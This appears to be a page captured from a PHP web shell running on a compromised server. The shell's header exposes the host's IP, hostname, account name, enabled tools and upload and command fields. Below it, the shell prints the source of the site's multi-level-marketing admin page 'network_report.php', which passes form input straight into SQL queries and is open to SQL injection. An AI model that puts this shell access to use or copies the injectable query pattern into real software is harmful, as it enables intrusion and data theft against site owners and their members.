SCDNG PELER
Server IP : 144.76.124.212  /  Your IP : 216.73.216.138
Web Server : LiteSpeed
System : Linux l4cp.vnetindia.com 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : rakcha ( 1356)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home5/rakcha/www/user/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home5/rakcha/www/user/network_report.php
<?php 



  include("includes/database.php");

?>

  <!DOCTYPE html>

<html lang="en">



<head>

  <meta charset="utf-8">

    <meta http-equiv="X-UA-Compatible" content="IE=edge">

    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">

    <meta name="description" content="">

    <meta name="author" content="">

    <link rel="icon" href="images/fave.png">



    <title>RAKCHA</title>

  

  <!-- Bootstrap v4.0.0-beta -->

  <link rel="stylesheet" href="assets/vendor_components/bootstrap/dist/css/bootstrap.min.css">



  <!-- Font Awesome -->

  <link rel="stylesheet" href="assets/vendor_components/font-awesome/css/font-awesome.min.css">



  <!-- Ionicons -->

  <link rel="stylesheet" href="assets/vendor_components/Ionicons/css/ionicons.min.css">

  <link rel="stylesheet" href="assets/vendor_components/select2/dist/css/select2.min.css">

  <!-- Theme style -->

  <link rel="stylesheet" href="css/master_style.css">



  <!-- maximum_admin Skins. Choose a skin from the css/skins

     folder instead of downloading all of them to reduce the load. -->

  <link rel="stylesheet" href="css/skins/_all-skins.css"> 

  <style type="text/css">

    .waves-light {

      margin-bottom: 6px;

    }

  </style>



  <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->

  <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->

  <!--[if lt IE 9]>

  <script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>

  <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>

  <![endif]-->



  <!-- google font -->

  <link href="https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700" rel="stylesheet">



</head>

<body class="hold-transition skin-blue sidebar-mini">

<div class="wrapper">



  <header class="main-header">

    <!-- Logo -->

    <a href="main_home.php" class="logo">

      <!-- mini logo for sidebar mini 50x50 pixels -->

      <span class="logo-mini"><img src="../images/resources/logo.png" style="max-width: 47px;padding-top: 3px;"></span>

      <!-- logo for regular state and mobile devices -->

      <span class="logo-lg"><img src="../images/resources/logo.png" style="max-width: 47px;padding-top: 3px;"></span>

    </a>

    <!-- Header Navbar: style can be found in header.less -->

    <nav class="navbar navbar-static-top">

      <!-- Sidebar toggle button-->

      <a href="#" class="sidebar-toggle" data-toggle="push-menu" role="button">

        <span class="sr-only">Toggle navigation</span>

      </a>



      <div class="navbar-custom-menu">

        <ul class="nav navbar-nav">

          

          

          <!-- Notifications: style can be found in dropdown.less -->

          <li class="dropdown notifications-menu label-warning">

            <a href="#" class="dropdown-toggle" data-toggle="dropdown" style="color: #000;font-weight: 700;">

              

              <span class="d-sm-inline-block ">Admin</span>

            </a>

             

          </li>

          

          <li>

            <a href="logout.php" class="link" data-toggle="tooltip" title="" data-original-title="Logout"><i class="fa fa-power-off"></i></a>

          </li>

        </ul>

      </div>

    </nav>

  </header>

  

  <!-- Left side column. contains the logo and sidebar -->

  <aside class="main-sidebar">

    <!-- sidebar: style can be found in sidebar.less -->

    <section class="sidebar">

      

      

      <!-- sidebar menu: : style can be found in sidebar.less -->

      <ul class="sidebar-menu" data-widget="tree">

        

        <li ><a href="../admin/main_home.php"><i class="fa fa-dashboard"></i> <span>DASHBOARD</span></a></li>

        



        

        



      </ul>

    </section>

    

  </aside>



  <!-- Content Wrapper. Contains page content -->

  <div class="content-wrapper">

    <!-- Content Header (Page header) -->

    <!-- Content Header (Page header) -->

    <section class="content-header">

      <h4>

        NETWORK REPORT



      </h4>

      <ol class="breadcrumb">

        <li class="breadcrumb-item"><a href="main_home.php"><i class="fa fa-dashboard"></i> Home</a></li>

        <li class="breadcrumb-item active">NETWORK REPORT</li>

      </ol>

    </section>

  

  <section class="content">

    <div class="row">

                        <div class="col-sm-12">

                            <div class="card  card-topline-green">

                                

                                <div class="card-body ">



                                   <form method="post" action="network_report.php" enctype="multipart/form-data">

                                        <div class="form-group row">

                                          <label for="example-text-input" class="col-sm-4 col-form-label">Enter RC ID</label>

                                          <div class="col-sm-8">

                                            <input class="form-control" type="text" name="receiver_id" required id="search">

                                               <div id="receiver">

                              

                                               </div>

                                          </div>

                                      </div>

                                      

                                       



                                         



                                         

                                        <div class="form-group row">

                                            <label for="example-text-input" class="col-sm-4 col-form-label">Payment Mode</label>

                                            <div class="col-sm-8">

                                               <select class="form-control" name="month">

                                                 <option value="1">2021 - NOV</option>

                                                 <option value="2">2021 - DEC</option> 

                                                 <option value="3">2022 - JAN</option>

                                                 <option value="4">2022 - FEB</option>

                                                 <option value="5">2022 - MAR</option>

                                                 <option value="6">2022 - APR</option>

                                                 <option value="7">2022 - MAY</option>

                                                 <option value="8">2022 - JUNE</option>

                                                 <option value="9">2022 - JULY</option> 

                                               </select>

                                            </div>

                                        </div>

                                        

                                         

                                        



                                        



                                      

                                      <div class="box-footer">

                                        <button type="submit" name="submit" class="btn btn-primary pull-right">Submit</button>

                                      </div>

                                  </form>

                                    

                                </div>

                            </div>

                        </div>

                    </div>



                    <?php 



                      if (isset($_POST['submit'])) {

                        

                        $page_month = $_POST['month'];

                        $rc_id = $_POST['receiver_id'];



                         $select_query_direct_user_get_id = "select * from member where user_id = '$rc_id'";

                           $run_direct_user_get_id = mysqli_query($con,$select_query_direct_user_get_id);



                           $check_sposor_id = mysqli_num_rows($run_direct_user_get_id);



                           while ($row_direct_user_get_id = mysqli_fetch_array($run_direct_user_get_id)) {

                            

                            $member_no = $row_direct_user_get_id['member_no'];

                            }



                        switch ($page_month) {

                            case '1':

                                $date = '2021-12-03';

                                break;

                            case '2':

                                $date = '2022-01-01';

                                break;

                            case '3':

                                $date = '2022-02-01';

                                break;

                            case '4':

                                $date = '2022-03-01';

                                break;

                            case '5':

                                $date = '2022-04-01';

                                break;

                            case '6':

                                $date = '2022-05-01';

                                break;

                            case '7':

                                $date = '2022-06-01';

                                break;

                            case '8':

                                $date = '2022-07-01';

                                break;

                            case '9':

                                $date = '2022-08-01';

                                break;

                            case '10':

                                $date = '2022-09-01';

                                break;

                            case '11':

                                $date = '2022-10-01';

                                break;

                            case '12':

                                $date = '2022-11-01';

                                break;

                            case '13':

                                $date = '2022-12-01';

                                break;

                            case '14':

                                $date = '2023-01-01';

                                break;

                                

                            case '15':

                                $date = '2020-09-01';

                                break;

                            case '16':

                                $date = '2020-10-01';

                                break;

                            case '17':

                                $date = '2020-11-01';

                                break;

                                

                            case '18':

                                $date = '2020-12-01';

                                break;

                            case '19':

                                $date = '2021-01-01';

                                break;

                             case '20':

                                $date = '2021-02-01';

                                break;

                            case '21':

                                $date = '2021-03-01';

                                break;

                            case '22':

                                $date = '2021-04-01';

                                break;

                                

                            case '23':

                                $date = '2021-05-01';

                                break;

                            case '24':

                                $date = '2021-06-01';

                                break;

                                

                            case '25':

                                $date = '2021-07-01';

                                break;

                                

                            case '26':

                                $date = '2021-08-01';

                                break;

                             

                             

                            

                            default:

                                # code...

                                break;

                        }



                        $select_query_payment = "select * from net_tree where date = '$date' AND member_no = '$member_no'";

                         $run_payment = mysqli_query($con,$select_query_payment); 

                         while ($row_payment = mysqli_fetch_array($run_payment)) { 

                          $tree_id = $row_payment['tree_id'];

                          $group_number = $row_payment['group_number'];

                          $member_no = $row_payment['member_no'];

                          $user_id = $row_payment['user_id'];

                          $sponsor_no = $row_payment['sponsor_no'];

                          $level_no = $row_payment['level_no'];

                          $relation_ship_no = $row_payment['relation_ship_no'];

                          $x_position = $row_payment['x_position'];

                          $y_position = $row_payment['y_position'];

                          $position = $row_payment['position'];

                          $date = $row_payment['date'];

                          $status = $row_payment['status'];

                        }



                     ?>

      <div class="row">

        <div class="col-12">



             <div class="box">

            <div class="box-header">

              <h3 class="box-title">NETWORK LIST</h3>



              

            </div>

            <!-- /.box-header -->

            <div class="box-body">

              <table id="example" class="table table-bordered table-hover display nowrap margin-top-10 table-responsive" cellspacing="0" width="100%">

              <thead>

                <tr>

                   

                            <th>LEVEL</th>

                            <th>DOWNLINE NO</th>

                            <th>NAME</th>

                            <th>RC ID</th>

                            <th>PERSONAL PV</th>

                            <th>GROUP PV </th> 

                  

                </tr>

              </thead>

             

              <tbody>

                           <?php 



                                $x_position_1 = $x_position+1;



                                $select_query_payment_1 = "select * from net_tree where relation_ship_no LIKE '%{$relation_ship_no}%' AND x_position = '$x_position_1' AND status='$status'";

                                $run_payment_1 = mysqli_query($con,$select_query_payment_1);

                                $serial_1 = 1; 

                               while ($row_payment_1 = mysqli_fetch_array($run_payment_1)) { 

                                $s_num_1 = $serial_1++;

                                $tree_idpayment_1 = $row_payment_1['tree_id'];

                                $group_numberpayment_1 = $row_payment_1['group_number'];

                                $member_nopayment_1 = $row_payment_1['member_no'];

                                $user_idpayment_1 = $row_payment_1['user_id'];

                                $sponsor_nopayment_1 = $row_payment_1['sponsor_no'];

                                $level_nopayment_1 = $row_payment_1['level_no'];

                                $relation_ship_nopayment_1 = $row_payment_1['relation_ship_no'];

                                $x_positionpayment_1 = $row_payment_1['x_position'];

                                $y_positionpayment_1 = $row_payment_1['y_position'];

                                $positionpayment_1 = $row_payment_1['position'];

                                $datepayment_1 = $row_payment_1['date'];

                                $statuspayment_1 = $row_payment_1['status'];

                               



                              $select_query_1 = "select * from member where member_no ='$member_nopayment_1'";

                                 $run_1 = mysqli_query($con,$select_query_1);

                               

                                 while ($row_1 = mysqli_fetch_array($run_1)) { 

                                  $user_id_1 = $row_1['user_id']; 

                                  $name_1 = $row_1['name']; 



                                }



                                $select_query_per_product_1 = "select SUM(network_amount) from percent_member where member_no='$member_nopayment_1' AND date='$date'";

                                $run_per_product_1 = mysqli_query($con,$select_query_per_product_1);

                                while($row_per_product_1 = mysqli_fetch_array($run_per_product_1)){

                                      $product_amount_main_1 = $row_per_product_1['SUM(network_amount)'];

                                }



                                $select_query_third_level_team_1 = "select SUM(network_amount) from percent_member where net_no LIKE '%{$relation_ship_nopayment_1}%' AND date='$date' AND net_x >= '$x_positionpayment_1'";

                                $run_third_level_team_1 = mysqli_query($con,$select_query_third_level_team_1);

                                while($row_third_level_team_1 = mysqli_fetch_array($run_third_level_team_1)){

                                      $total_single_level_team_1 = $row_third_level_team_1['SUM(network_amount)'];

                                      

                                }



                           ?>

                                            <tr class="gradeX">



                                              <td>1</td>

                                              <td>1. <?= $s_num_1; ?></td>

                                              <td><?= $name_1; ?></td>

                                              <td><?= $user_id_1; ?></td>

                                              <td><?= $product_amount_main_1+0; ?></td> 

                                              <td><?= $total_single_level_team_1+0; ?></td> 

                                            </tr>

                                            <?php } ?>









                                            <?php 



                                              $x_position_2 = $x_position+2;



                                              $select_query_payment_2 = "select * from net_tree where relation_ship_no LIKE '%{$relation_ship_no}%' AND x_position = '$x_position_2' AND status='$status'";

                                              $run_payment_2 = mysqli_query($con,$select_query_payment_2);

                                              $serial_2 = 1; 

                                             while ($row_payment_2 = mysqli_fetch_array($run_payment_2)) { 

                                              $s_num_2 = $serial_2++;

                                              $tree_idpayment_2 = $row_payment_2['tree_id'];

                                              $group_numberpayment_2 = $row_payment_2['group_number'];

                                              $member_nopayment_2 = $row_payment_2['member_no'];

                                              $user_idpayment_2 = $row_payment_2['user_id'];

                                              $sponsor_nopayment_2 = $row_payment_2['sponsor_no'];

                                              $level_nopayment_2 = $row_payment_2['level_no'];

                                              $relation_ship_nopayment_2 = $row_payment_2['relation_ship_no'];

                                              $x_positionpayment_2 = $row_payment_2['x_position'];

                                              $y_positionpayment_2 = $row_payment_2['y_position'];

                                              $positionpayment_2 = $row_payment_2['position'];

                                              $datepayment_2 = $row_payment_2['date'];

                                              $statuspayment_2 = $row_payment_2['status'];

                                             



                                            $select_query_2 = "select * from member where member_no ='$member_nopayment_2'";

                                               $run_2 = mysqli_query($con,$select_query_2);

                                             

                                               while ($row_2 = mysqli_fetch_array($run_2)) { 

                                                $user_id_2 = $row_2['user_id']; 

                                                $name_2 = $row_2['name']; 



                                              }



                                              $select_query_per_product_2 = "select SUM(network_amount) from percent_member where member_no='$member_nopayment_2' AND date='$date'";

                                              $run_per_product_2 = mysqli_query($con,$select_query_per_product_2);

                                              while($row_per_product_2 = mysqli_fetch_array($run_per_product_2)){

                                                    $product_amount_main_2 = $row_per_product_2['SUM(network_amount)'];

                                              }



                                              $select_query_third_level_team_2 = "select SUM(network_amount) from percent_member where net_no LIKE '%{$relation_ship_nopayment_2}%' AND date='$date' AND net_x >= '$x_positionpayment_2'";

                                              $run_third_level_team_2 = mysqli_query($con,$select_query_third_level_team_2);

                                              while($row_third_level_team_2 = mysqli_fetch_array($run_third_level_team_2)){

                                                    $total_single_level_team_2 = $row_third_level_team_2['SUM(network_amount)'];

                                                    

                                              }



                                         ?>

                                                          <tr class="gradeX">



                                                            <td>2</td>

                                                            <td>2. <?= $s_num_2; ?></td>

                                                            <td><?= $name_2; ?></td>

                                                            <td><?= $user_id_2; ?></td>

                                                            <td><?= $product_amount_main_2+0; ?></td> 

                                                            <td><?= $total_single_level_team_2+0; ?></td> 

                                                          </tr>

                                                          <?php } ?>





                                                          <?php 



                                                            $x_position_3 = $x_position+3;



                                                            $select_query_payment_3 = "select * from net_tree where relation_ship_no LIKE '%{$relation_ship_no}%' AND x_position = '$x_position_3' AND status='$status'";

                                                            $run_payment_3 = mysqli_query($con,$select_query_payment_3);

                                                            $serial_3 = 1; 

                                                           while ($row_payment_3 = mysqli_fetch_array($run_payment_3)) { 

                                                            $s_num_3 = $serial_3++;

                                                            $tree_idpayment_3 = $row_payment_3['tree_id'];

                                                            $group_numberpayment_3 = $row_payment_3['group_number'];

                                                            $member_nopayment_3 = $row_payment_3['member_no'];

                                                            $user_idpayment_3 = $row_payment_3['user_id'];

                                                            $sponsor_nopayment_3 = $row_payment_3['sponsor_no'];

                                                            $level_nopayment_3 = $row_payment_3['level_no'];

                                                            $relation_ship_nopayment_3 = $row_payment_3['relation_ship_no'];

                                                            $x_positionpayment_3 = $row_payment_3['x_position'];

                                                            $y_positionpayment_3 = $row_payment_3['y_position'];

                                                            $positionpayment_3 = $row_payment_3['position'];

                                                            $datepayment_3 = $row_payment_3['date'];

                                                            $statuspayment_3 = $row_payment_3['status'];

                                                           



                                                          $select_query_3 = "select * from member where member_no ='$member_nopayment_3'";

                                                             $run_3 = mysqli_query($con,$select_query_3);

                                                           

                                                             while ($row_3 = mysqli_fetch_array($run_3)) { 

                                                              $user_id_3 = $row_3['user_id']; 

                                                              $name_3 = $row_3['name']; 



                                                            }



                                                            $select_query_per_product_3 = "select SUM(network_amount) from percent_member where member_no='$member_nopayment_3' AND date='$date'";

                                                            $run_per_product_3 = mysqli_query($con,$select_query_per_product_3);

                                                            while($row_per_product_3 = mysqli_fetch_array($run_per_product_3)){

                                                                  $product_amount_main_3 = $row_per_product_3['SUM(network_amount)'];

                                                            }



                                                            $select_query_third_level_team_3 = "select SUM(network_amount) from percent_member where net_no LIKE '%{$relation_ship_nopayment_3}%' AND date='$date' AND net_x >= '$x_positionpayment_3'";

                                                            $run_third_level_team_3 = mysqli_query($con,$select_query_third_level_team_3);

                                                            while($row_third_level_team_3 = mysqli_fetch_array($run_third_level_team_3)){

                                                                  $total_single_level_team_3 = $row_third_level_team_3['SUM(network_amount)'];

                                                                  

                                                            }



                                                       ?>

                                                                        <tr class="gradeX">



                                                                          <td>3</td>

                                                                          <td>3. <?= $s_num_3; ?></td>

                                                                          <td><?= $name_3; ?></td>

                                                                          <td><?= $user_id_3; ?></td>

                                                                          <td><?= $product_amount_main_3+0; ?></td> 

                                                                          <td><?= $total_single_level_team_3+0; ?></td> 

                                                                        </tr>

                                                                        <?php } ?>







                                                                        <?php 



                                              $x_position_4 = $x_position+4;



                                              $select_query_payment_4 = "select * from net_tree where relation_ship_no LIKE '%{$relation_ship_no}%' AND x_position = '$x_position_4' AND status='$status'";

                                              $run_payment_4 = mysqli_query($con,$select_query_payment_4);

                                              $serial_4 = 1; 

                                             while ($row_payment_4 = mysqli_fetch_array($run_payment_4)) { 

                                              $s_num_4 = $serial_4++;

                                              $tree_idpayment_4 = $row_payment_4['tree_id'];

                                              $group_numberpayment_4 = $row_payment_4['group_number'];

                                              $member_nopayment_4 = $row_payment_4['member_no'];

                                              $user_idpayment_4 = $row_payment_4['user_id'];

                                              $sponsor_nopayment_4 = $row_payment_4['sponsor_no'];

                                              $level_nopayment_4 = $row_payment_4['level_no'];

                                              $relation_ship_nopayment_4 = $row_payment_4['relation_ship_no'];

                                              $x_positionpayment_4 = $row_payment_4['x_position'];

                                              $y_positionpayment_4 = $row_payment_4['y_position'];

                                              $positionpayment_4 = $row_payment_4['position'];

                                              $datepayment_4 = $row_payment_4['date'];

                                              $statuspayment_4 = $row_payment_4['status'];

                                             



                                            $select_query_4 = "select * from member where member_no ='$member_nopayment_4'";

                                               $run_4 = mysqli_query($con,$select_query_4);

                                             

                                               while ($row_4 = mysqli_fetch_array($run_4)) { 

                                                $user_id_4 = $row_4['user_id']; 

                                                $name_4 = $row_4['name']; 



                                              }



                                              $select_query_per_product_4 = "select SUM(network_amount) from percent_member where member_no='$member_nopayment_4' AND date='$date'";

                                              $run_per_product_4 = mysqli_query($con,$select_query_per_product_4);

                                              while($row_per_product_4 = mysqli_fetch_array($run_per_product_4)){

                                                    $product_amount_main_4 = $row_per_product_4['SUM(network_amount)'];

                                              }



                                              $select_query_third_level_team_4 = "select SUM(network_amount) from percent_member where net_no LIKE '%{$relation_ship_nopayment_4}%' AND date='$date' AND net_x >= '$x_positionpayment_4'";

                                              $run_third_level_team_4 = mysqli_query($con,$select_query_third_level_team_4);

                                              while($row_third_level_team_4 = mysqli_fetch_array($run_third_level_team_4)){

                                                    $total_single_level_team_4 = $row_third_level_team_4['SUM(network_amount)'];

                                                    

                                              }



                                         ?>

                                                          <tr class="gradeX">



                                                            <td>4</td>

                                                            <td>4. <?= $s_num_4; ?></td>

                                                            <td><?= $name_4; ?></td>

                                                            <td><?= $user_id_4; ?></td>

                                                            <td><?= $product_amount_main_4+0; ?></td> 

                                                            <td><?= $total_single_level_team_4+0; ?></td> 

                                                          </tr>

                                                          <?php } ?>







                                                          <?php 



                                                          $x_position_5 = $x_position+5;



                                                          $select_query_payment_5 = "select * from net_tree where relation_ship_no LIKE '%{$relation_ship_no}%' AND x_position = '$x_position_5' AND status='$status'";

                                                          $run_payment_5 = mysqli_query($con,$select_query_payment_5);

                                                          $serial_5 = 1; 

                                                         while ($row_payment_5 = mysqli_fetch_array($run_payment_5)) { 

                                                          $s_num_5 = $serial_5++;

                                                          $tree_idpayment_5 = $row_payment_5['tree_id'];

                                                          $group_numberpayment_5 = $row_payment_5['group_number'];

                                                          $member_nopayment_5 = $row_payment_5['member_no'];

                                                          $user_idpayment_5 = $row_payment_5['user_id'];

                                                          $sponsor_nopayment_5 = $row_payment_5['sponsor_no'];

                                                          $level_nopayment_5 = $row_payment_5['level_no'];

                                                          $relation_ship_nopayment_5 = $row_payment_5['relation_ship_no'];

                                                          $x_positionpayment_5 = $row_payment_5['x_position'];

                                                          $y_positionpayment_5 = $row_payment_5['y_position'];

                                                          $positionpayment_5 = $row_payment_5['position'];

                                                          $datepayment_5 = $row_payment_5['date'];

                                                          $statuspayment_5 = $row_payment_5['status'];

                                                         



                                                        $select_query_5 = "select * from member where member_no ='$member_nopayment_5'";

                                                           $run_5 = mysqli_query($con,$select_query_5);

                                                         

                                                           while ($row_5 = mysqli_fetch_array($run_5)) { 

                                                            $user_id_5 = $row_5['user_id']; 

                                                            $name_5 = $row_5['name']; 



                                                          }



                                                          $select_query_per_product_5 = "select SUM(network_amount) from percent_member where member_no='$member_nopayment_5' AND date='$date'";

                                                          $run_per_product_5 = mysqli_query($con,$select_query_per_product_5);

                                                          while($row_per_product_5 = mysqli_fetch_array($run_per_product_5)){

                                                                $product_amount_main_5 = $row_per_product_5['SUM(network_amount)'];

                                                          }



                                                          $select_query_third_level_team_5 = "select SUM(network_amount) from percent_member where net_no LIKE '%{$relation_ship_nopayment_5}%' AND date='$date' AND net_x >= '$x_positionpayment_5'";

                                                          $run_third_level_team_5 = mysqli_query($con,$select_query_third_level_team_5);

                                                          while($row_third_level_team_5 = mysqli_fetch_array($run_third_level_team_5)){

                                                                $total_single_level_team_5 = $row_third_level_team_5['SUM(network_amount)'];

                                                                

                                                          }



                                                     ?>

                                                                      <tr class="gradeX">



                                                                        <td>5</td>

                                                                        <td>5. <?= $s_num_5; ?></td>

                                                                        <td><?= $name_5; ?></td>

                                                                        <td><?= $user_id_5; ?></td>

                                                                        <td><?= $product_amount_main_5+0; ?></td> 

                                                                        <td><?= $total_single_level_team_5+0; ?></td> 

                                                                      </tr>

                                                                      <?php } ?>







                                                                      <?php 



                                              $x_position_6 = $x_position+6;



                                              $select_query_payment_6 = "select * from net_tree where relation_ship_no LIKE '%{$relation_ship_no}%' AND x_position = '$x_position_6' AND status='$status'";

                                              $run_payment_6 = mysqli_query($con,$select_query_payment_6);

                                              $serial_6 = 1; 

                                             while ($row_payment_6 = mysqli_fetch_array($run_payment_6)) { 

                                              $s_num_6 = $serial_6++;

                                              $tree_idpayment_6 = $row_payment_6['tree_id'];

                                              $group_numberpayment_6 = $row_payment_6['group_number'];

                                              $member_nopayment_6 = $row_payment_6['member_no'];

                                              $user_idpayment_6 = $row_payment_6['user_id'];

                                              $sponsor_nopayment_6 = $row_payment_6['sponsor_no'];

                                              $level_nopayment_6 = $row_payment_6['level_no'];

                                              $relation_ship_nopayment_6 = $row_payment_6['relation_ship_no'];

                                              $x_positionpayment_6 = $row_payment_6['x_position'];

                                              $y_positionpayment_6 = $row_payment_6['y_position'];

                                              $positionpayment_6 = $row_payment_6['position'];

                                              $datepayment_6 = $row_payment_6['date'];

                                              $statuspayment_6 = $row_payment_6['status'];

                                             



                                            $select_query_6 = "select * from member where member_no ='$member_nopayment_6'";

                                               $run_6 = mysqli_query($con,$select_query_6);

                                             

                                               while ($row_6 = mysqli_fetch_array($run_6)) { 

                                                $user_id_6 = $row_6['user_id']; 

                                                $name_6 = $row_6['name']; 



                                              }



                                              $select_query_per_product_6 = "select SUM(network_amount) from percent_member where member_no='$member_nopayment_6' AND date='$date'";

                                              $run_per_product_6 = mysqli_query($con,$select_query_per_product_6);

                                              while($row_per_product_6 = mysqli_fetch_array($run_per_product_6)){

                                                    $product_amount_main_6 = $row_per_product_6['SUM(network_amount)'];

                                              }



                                              $select_query_third_level_team_6 = "select SUM(network_amount) from percent_member where net_no LIKE '%{$relation_ship_nopayment_6}%' AND date='$date' AND net_x >= '$x_positionpayment_6'";

                                              $run_third_level_team_6 = mysqli_query($con,$select_query_third_level_team_6);

                                              while($row_third_level_team_6 = mysqli_fetch_array($run_third_level_team_6)){

                                                    $total_single_level_team_6 = $row_third_level_team_6['SUM(network_amount)'];

                                                    

                                              }



                                         ?>

                                                          <tr class="gradeX">



                                                            <td>6</td>

                                                            <td>6. <?= $s_num_6; ?></td>

                                                            <td><?= $name_6; ?></td>

                                                            <td><?= $user_id_6; ?></td>

                                                            <td><?= $product_amount_main_6+0; ?></td> 

                                                            <td><?= $total_single_level_team_6+0; ?></td> 

                                                          </tr>

                                                          <?php } ?>







                                                          <?php 



                                              $x_position_7 = $x_position+7;



                                              $select_query_payment_7 = "select * from net_tree where relation_ship_no LIKE '%{$relation_ship_no}%' AND x_position = '$x_position_7' AND status='$status'";

                                              $run_payment_7 = mysqli_query($con,$select_query_payment_7);

                                              $serial_7 = 1; 

                                             while ($row_payment_7 = mysqli_fetch_array($run_payment_7)) { 

                                              $s_num_7 = $serial_7++;

                                              $tree_idpayment_7 = $row_payment_7['tree_id'];

                                              $group_numberpayment_7 = $row_payment_7['group_number'];

                                              $member_nopayment_7 = $row_payment_7['member_no'];

                                              $user_idpayment_7 = $row_payment_7['user_id'];

                                              $sponsor_nopayment_7 = $row_payment_7['sponsor_no'];

                                              $level_nopayment_7 = $row_payment_7['level_no'];

                                              $relation_ship_nopayment_7 = $row_payment_7['relation_ship_no'];

                                              $x_positionpayment_7 = $row_payment_7['x_position'];

                                              $y_positionpayment_7 = $row_payment_7['y_position'];

                                              $positionpayment_7 = $row_payment_7['position'];

                                              $datepayment_7 = $row_payment_7['date'];

                                              $statuspayment_7 = $row_payment_7['status'];

                                             



                                            $select_query_7 = "select * from member where member_no ='$member_nopayment_7'";

                                               $run_7 = mysqli_query($con,$select_query_7);

                                             

                                               while ($row_7 = mysqli_fetch_array($run_7)) { 

                                                $user_id_7 = $row_7['user_id']; 

                                                $name_7 = $row_7['name']; 



                                              }



                                              $select_query_per_product_7 = "select SUM(network_amount) from percent_member where member_no='$member_nopayment_7' AND date='$date'";

                                              $run_per_product_7 = mysqli_query($con,$select_query_per_product_7);

                                              while($row_per_product_7 = mysqli_fetch_array($run_per_product_7)){

                                                    $product_amount_main_7 = $row_per_product_7['SUM(network_amount)'];

                                              }



                                              $select_query_third_level_team_7 = "select SUM(network_amount) from percent_member where net_no LIKE '%{$relation_ship_nopayment_7}%' AND date='$date' AND net_x >= '$x_positionpayment_7'";

                                              $run_third_level_team_7 = mysqli_query($con,$select_query_third_level_team_7);

                                              while($row_third_level_team_7 = mysqli_fetch_array($run_third_level_team_7)){

                                                    $total_single_level_team_7 = $row_third_level_team_7['SUM(network_amount)'];

                                                    

                                              }



                                         ?>

                                                          <tr class="gradeX">



                                                            <td>7</td>

                                                            <td>7. <?= $s_num_7; ?></td>

                                                            <td><?= $name_7; ?></td>

                                                            <td><?= $user_id_7; ?></td>

                                                            <td><?= $product_amount_main_7+0; ?></td> 

                                                            <td><?= $total_single_level_team_7+0; ?></td> 

                                                          </tr>

                                                          <?php } ?>







                                                          

              </tbody>

            </table>



                    

                  </div>

                  <!-- /.box-body -->

                </div>

               

              

                        <!-- /.box -->

                       

                       

                        <!-- /.box -->          

                      </div>

      </div>



      <?php } ?>

      

        



    </section>

    <div class="clearfix"></div>

  </div>

  <!-- /.content-wrapper -->

 

  <footer class="main-footer">

    <div class="pull-right d-none d-sm-inline-block">      

    </div>Copyright &copy; 2020. All Rights Reserved.

  </footer>



  <!-- Control Sidebar -->

  <aside class="control-sidebar control-sidebar-dark">

    <!-- Create the tabs -->

    <ul class="nav nav-tabs nav-justified control-sidebar-tabs">

      <li class="nav-item"><a href="#control-sidebar-home-tab" data-toggle="tab"><i class="fa fa-home"></i></a></li>

      <li class="nav-item"><a href="#control-sidebar-settings-tab" data-toggle="tab"><i class="fa fa-cog fa-spin"></i></a></li>

    </ul>

    <!-- Tab panes -->

    <div class="tab-content">

      <!-- Home tab content -->

      <div class="tab-pane" id="control-sidebar-home-tab">

        <h3 class="control-sidebar-heading">Recent Activity</h3>

        <ul class="control-sidebar-menu">

          <li>

            <a href="javascript:void(0)">

              <i class="menu-icon fa fa-birthday-cake bg-red"></i>



              <div class="menu-info">

                <h4 class="control-sidebar-subheading">Admin Birthday</h4>



                <p>Will be July 24th</p>

              </div>

            </a>

          </li>

          <li>

            <a href="javascript:void(0)">

              <i class="menu-icon fa fa-user bg-yellow"></i>



              <div class="menu-info">

                <h4 class="control-sidebar-subheading">Jhone Updated His Profile</h4>



                <p>New Email : jhone_doe@demo.com</p>

              </div>

            </a>

          </li>

          <li>

            <a href="javascript:void(0)">

              <i class="menu-icon fa fa-envelope-o bg-light-blue"></i>



              <div class="menu-info">

                <h4 class="control-sidebar-subheading">Disha Joined Mailing List</h4>



                <p>disha@demo.com</p>

              </div>

            </a>

          </li>

          <li>

            <a href="javascript:void(0)">

              <i class="menu-icon fa fa-file-code-o bg-green"></i>



              <div class="menu-info">

                <h4 class="control-sidebar-subheading">Code Change</h4>



                <p>Execution time 15 Days</p>

              </div>

            </a>

          </li>

        </ul>

        <!-- /.control-sidebar-menu -->



        <h3 class="control-sidebar-heading">Tasks Progress</h3>

        <ul class="control-sidebar-menu">

          <li>

            <a href="javascript:void(0)">

              <h4 class="control-sidebar-subheading">

                Web Design

                <span class="label label-danger pull-right">40%</span>

              </h4>



              <div class="progress progress-xxs">

                <div class="progress-bar progress-bar-danger" style="width: 40%"></div>

              </div>

            </a>

          </li>

          <li>

            <a href="javascript:void(0)">

              <h4 class="control-sidebar-subheading">

                Update Data

                <span class="label label-success pull-right">75%</span>

              </h4>



              <div class="progress progress-xxs">

                <div class="progress-bar progress-bar-success" style="width: 75%"></div>

              </div>

            </a>

          </li>

          <li>

            <a href="javascript:void(0)">

              <h4 class="control-sidebar-subheading">

                Order Process

                <span class="label label-warning pull-right">89%</span>

              </h4>



              <div class="progress progress-xxs">

                <div class="progress-bar progress-bar-warning" style="width: 89%"></div>

              </div>

            </a>

          </li>

          <li>

            <a href="javascript:void(0)">

              <h4 class="control-sidebar-subheading">

                Development 

                <span class="label label-primary pull-right">72%</span>

              </h4>



              <div class="progress progress-xxs">

                <div class="progress-bar progress-bar-primary" style="width: 72%"></div>

              </div>

            </a>

          </li>

        </ul>

        <!-- /.control-sidebar-menu -->



      </div>

      <!-- /.tab-pane -->

      <!-- Stats tab content -->

      <div class="tab-pane" id="control-sidebar-stats-tab">Stats Tab Content</div>

      <!-- /.tab-pane -->

      <!-- Settings tab content -->

      <div class="tab-pane" id="control-sidebar-settings-tab">

        <form method="post">

          <h3 class="control-sidebar-heading">General Settings</h3>



          <div class="form-group">

            <input type="checkbox" id="report_panel" class="chk-col-grey" >

